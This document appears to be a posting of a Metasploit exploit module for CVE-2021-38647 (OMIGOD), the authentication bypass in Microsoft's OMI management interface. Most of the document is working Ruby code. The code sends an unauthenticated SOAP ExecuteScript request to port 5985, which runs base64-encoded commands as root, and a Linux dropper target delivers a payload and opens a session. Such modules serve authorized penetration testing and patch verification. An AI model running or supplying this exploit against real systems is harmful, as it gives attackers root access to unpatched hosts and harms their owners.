Microsoft OMI Management Interface Authentication Bypass

By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).


MD5 | e021b81c9c13b09923425e7dc2931754

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
'Description' => %q{
By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
OMI version 1.6.8-1 (released September 8th 2021).
},
'Author' => [
'Nir Ohfeld', # vulnerability discovery & research
'Shir Tamari', # vulnerability discovery & research
'Spencer McIntyre', # metasploit module
'wvu' # vulnerability research
],
'References' => [
['CVE', '2021-38647'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
],
'DisclosureDate' => '2021-09-14',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 5985,
'SSL' => false,
'MeterpreterTryToFork' => true
},
'Notes' => {
'AKA' => ['OMIGOD'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
])
end

def check
http_res = send_command('id')
return CheckCode::Unknown if http_res.nil?
return CheckCode::Safe unless http_res.code == 200

cmd_res = parse_response(http_res)
return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /

return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
result = execute_command(payload.encoded)
if result
print_status(result[:stdout]) unless result[:stdout].blank?
print_error(result[:stderr]) unless result[:stderr].blank?
end
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_command(cmd)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end

parse_response(res)
end

def parse_response(res)
return nil unless res&.code == 200

return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
unless return_code == 0
print_error("Failed to execute command: #{cmd} (status: #{return_code})")
end

{
return_code: return_code,
stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
}
end

def send_command(cmd)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'text/xml;charset=UTF-8',
'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
<w:OptionSet s:mustUnderstand="true"/>
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
<p:Arguments/>
<p:timeout>0</p:timeout>
<p:b64encoded>true</p:b64encoded>
</p:ExecuteScript_INPUT>
</s:Body>
</s:Envelope>
ENVELOPE
)
end
end

Related Posts